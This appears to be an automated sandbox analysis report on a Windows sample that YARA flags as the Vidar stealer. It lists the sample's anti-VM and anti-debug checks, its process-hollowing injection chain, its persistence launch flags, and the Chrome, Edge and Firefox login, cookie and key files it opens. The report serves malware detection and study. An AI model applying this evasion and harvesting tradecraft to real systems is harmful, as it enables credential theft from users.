Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\

Source: 8jvTeVxooN.exe, 00000004.00000002.2352023888.0000000000743000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWrR1
Source: 8jvTeVxooN.exe, 0000000D.00000002.1834914451.00000000006C5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWx
Source: 8jvTeVxooN.exe, 0000000D.00000002.1835007872.0000000000723000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 0000000D.00000003.1834159610.0000000000723000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW2m
Source: 8jvTeVxooN.exe, 00000001.00000002.1652114117.0000000000689000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: 8jvTeVxooN.exe, 00000004.00000003.1983568167.0000000003582000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.
Source: 8jvTeVxooN.exe, 00000004.00000003.1983568167.0000000003582000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: VMware20,1
Source: 8jvTeVxooN.exe, 00000001.00000003.1646059558.00000000006A3000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000001.00000002.1652114117.00000000006A3000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000002.2352023888.00000000006B8000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000002.2352023888.0000000000743000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000006.00000002.2869500522.0000000000634000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000006.00000002.2869500522.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000006.00000003.1679274955.0000000000634000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000873000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 0000000A.00000002.1750626960.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 0000000D.00000002.1835007872.0000000000723000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: build2.exe, 00000008.00000002.2869925452.0000000000818000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: 8jvTeVxooN.exe, 00000001.00000002.1652114117.000000000067A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh
Source: build2.exe, 00000008.00000002.2869925452.0000000000873000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: build2.exe, 00000008.00000002.2869925452.0000000000818000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware-
Source: build2.exe, 00000008.00000002.2869925452.0000000000818000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: 8jvTeVxooN.exe, 0000000A.00000002.1750626960.0000000000718000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`

Source: C:\Users\user\Desktop\8jvTeVxooN.exe

API call chain: ExitProcess graph end node

graph_1-39504

Source: C:\Users\user\Desktop\8jvTeVxooN.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\8jvTeVxooN.exe

Code function: 0_2_0443571C rdtsc

0_2_0443571C

Source: C:\Users\user\Desktop\8jvTeVxooN.exe

Code function: 0_2_0040909D IsDebuggerPresent,

0_2_0040909D

Source: C:\Users\user\Desktop\8jvTeVxooN.exe

Code function: 1_2_0042A57A EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

1_2_0042A57A

Source: C:\Users\user\Desktop\8jvTeVxooN.exe

4_2_00481920

Source: C:\Users\user\Desktop\8jvTeVxooN.exe

1_2_00412220

Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 0_2_044340A3 push dword ptr fs:[00000030h]	0_2_044340A3
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 0_2_05E70042 push dword ptr fs:[00000030h]	0_2_05E70042
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 3_2_044820A3 push dword ptr fs:[00000030h]	3_2_044820A3
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 3_2_05E90042 push dword ptr fs:[00000030h]	3_2_05E90042

Source: C:\Users\user\Desktop\8jvTeVxooN.exe

Code function: 0_2_00408568 GetProcessHeap,

0_2_00408568

Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 0_2_00409028 SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00409028
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 1_2_004329EC SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_004329EC
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 1_2_004329BB SetUnhandledExceptionFilter,	1_2_004329BB
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_004329EC SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_004329EC
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_004329BB SetUnhandledExceptionFilter,	4_2_004329BB

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\8jvTeVxooN.exe

Code function: 0_2_05E70110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,

0_2_05E70110

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Memory written: C:\Users\user\Desktop\8jvTeVxooN.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Memory written: C:\Users\user\Desktop\8jvTeVxooN.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Memory written: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	Memory written: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Memory written: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Memory written: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe base: 400000 value starts with: 4D5A

Source: C:\Users\user\Desktop\8jvTeVxooN.exe

Code function: 1_2_00419F90 GetCurrentProcess,GetLastError,GetLastError,SetPriorityClass,GetLastError,GetModuleFileNameW,PathRemoveFileSpecW,GetCommandLineW,CommandLineToArgvW,lstrcpyW,lstrcmpW,lstrcmpW,lstrcpyW,lstrcpyW,lstrcmpW,lstrcmpW,GlobalFree,lstrcpyW,lstrcpyW,OpenProcess,WaitForSingleObject,CloseHandle,Sleep,GlobalFree,GetCurrentProcess,GetExitCodeProcess,TerminateProcess,CloseHandle,lstrcatW,GetVersion,lstrcpyW,lstrcatW,lstrcatW,_memset,ShellExecuteExW,CreateThread,lstrlenA,lstrcatW,_malloc,lstrcatW,_memset,lstrcatW,MultiByteToWideChar,lstrcatW,lstrlenW,CreateThread,WaitForSingleObject,CreateMutexA,CreateMutexA,lstrlenA,lstrcpyA,_memmove,_memmove,_memmove,GetUserNameW,GetMessageW,GetMessageW,DispatchMessageW,TranslateMessage,TranslateMessage,DispatchMessageW,GetMessageW,PostThreadMessageW,PeekMessageW,PostThreadMessageW,PeekMessageW,DispatchMessageW,PeekMessageW,WaitForSingleObject,PostThreadMessageW,PeekMessageW,DispatchMessageW,PeekMessageW,WaitForSingleObject,CloseHandle,

1_2_00419F90

Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Process created: C:\Users\user\Desktop\8jvTeVxooN.exe "C:\Users\user\Desktop\8jvTeVxooN.exe"	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Process created: C:\Users\user\Desktop\8jvTeVxooN.exe "C:\Users\user\Desktop\8jvTeVxooN.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Process created: C:\Users\user\Desktop\8jvTeVxooN.exe "C:\Users\user\Desktop\8jvTeVxooN.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Process created: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe "C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Process created: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe --Task
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	Process created: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe "C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe"
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Process created: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe "C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe" --AutoStart
Source: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe	Process created: C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe "C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe" --AutoStart

Source: C:\Users\user\Desktop\8jvTeVxooN.exe

Code function: 0_2_05E980F6 cpuid

0_2_05E980F6

Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	0_2_05EB0AB6
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: _LcidFromHexString,GetLocaleInfoW,_TestDefaultLanguage,	1_2_00438178
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	1_2_00440116
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: _wcscmp,_wcscmp,GetLocaleInfoW,GetLocaleInfoW,GetACP,	1_2_004382A2
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,	1_2_0043834F
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: _memset,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_GetLcidFromCountry,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,___crtDownlevelLCIDToLocaleName,___crtDownlevelLCIDToLocaleName,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,__itow_s,	1_2_00438423
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: EnumSystemLocalesW,	1_2_004387C8
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: GetLocaleInfoW,	1_2_0043884E
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: _TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_GetLocaleNameFromDefault,IsValidCodePage,_wcschr,_wcschr,__itow_s,_LcidFromHexString,GetLocaleInfoW,	1_2_00437BB3
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: EnumSystemLocalesW,	1_2_00437E27
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	1_2_00437E83
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	1_2_00437F00
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: _LcidFromHexString,GetLocaleInfoW,GetLocaleInfoW,__wcsnicmp,GetLocaleInfoW,_TestDefaultLanguage,	1_2_00437F83
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	3_2_05ED0AB6
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: _LcidFromHexString,GetLocaleInfoW,_TestDefaultLanguage,	4_2_00438178
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	4_2_00440116
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: _wcscmp,_wcscmp,GetLocaleInfoW,GetLocaleInfoW,GetACP,	4_2_004382A2
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,	4_2_0043834F
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: _memset,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_GetLcidFromCountry,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,___crtDownlevelLCIDToLocaleName,___crtDownlevelLCIDToLocaleName,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,__itow_s,	4_2_00438423
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: EnumSystemLocalesW,	4_2_004387C8
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: GetLocaleInfoW,	4_2_0043884E
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: _TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_GetLocaleNameFromDefault,IsValidCodePage,_wcschr,_wcschr,__itow_s,__invoke_watson,_LcidFromHexString,GetLocaleInfoW,	4_2_00437BB3
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: EnumSystemLocalesW,	4_2_00437E27
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	4_2_00437E83
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	4_2_00437F00
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: _LcidFromHexString,GetLocaleInfoW,GetLocaleInfoW,__wcsnicmp,GetLocaleInfoW,_TestDefaultLanguage,	4_2_00437F83

Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\8jvTeVxooN.exe

Code function: 0_2_00408AF4 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00408AF4

Source: C:\Users\user\Desktop\8jvTeVxooN.exe

1_2_00419F90

Source: C:\Users\user\Desktop\8jvTeVxooN.exe

Code function: 1_2_0042FE47 __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

1_2_0042FE47

Source: C:\Users\user\Desktop\8jvTeVxooN.exe

1_2_00419F90

Source: C:\Users\user\Desktop\8jvTeVxooN.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: build2.exe, 00000008.00000003.1836676805.00000000008DB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1876455776.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct

Stealing of Sensitive Information

Yara detected Vidar stealer

Source: Yara match	File source: 8.2.build2.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.build2.exe.36615a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.build2.exe.36615a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.build2.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.1722554288.0000000003660000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2868783397.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: build2.exe PID: 6212, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: build2.exe PID: 6232, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\favicons.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\protections.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\Telemetry.FailedProfileLocks.txt	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\content-prefs.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\addons.json	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\webappsstore.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\z6bny8rn.default\times.json	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\pkcs11.txt	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\webappsstore.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\LOG.old	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\AlternateServices.txt	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionstore.jsonlz4	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\parent.lock	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\trusted_vault.pb	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\xulstore.json	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\ExperimentStoreData.json	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\shield-preference-experiments.json	Jump to behavior
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\handlers.json	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\addonStartup.json.lz4	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\targeting.snapshot.json	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Google Profile.ico	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\search.json.mozlz4	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\favicons.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\permissions.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\favicons.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\heavy_ad_intervention_opt_out.db-journal	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\containers.json	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\extension-preferences.json	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\heavy_ad_intervention_opt_out.db	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\SiteSecurityServiceState.txt	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\webappsstore.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\times.json	Jump to behavior
Source: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior

Source: Yara match

File source: Process Memory Space: build2.exe PID: 6232, type: MEMORYSTR

Remote Access Functionality

Yara detected Vidar stealer

Source: Yara match	File source: 8.2.build2.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.build2.exe.36615a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.build2.exe.36615a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.build2.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.1722554288.0000000003660000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2869925452.0000000000881000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2868783397.0000000000434000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2868783397.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: build2.exe PID: 6212, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: build2.exe PID: 6232, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
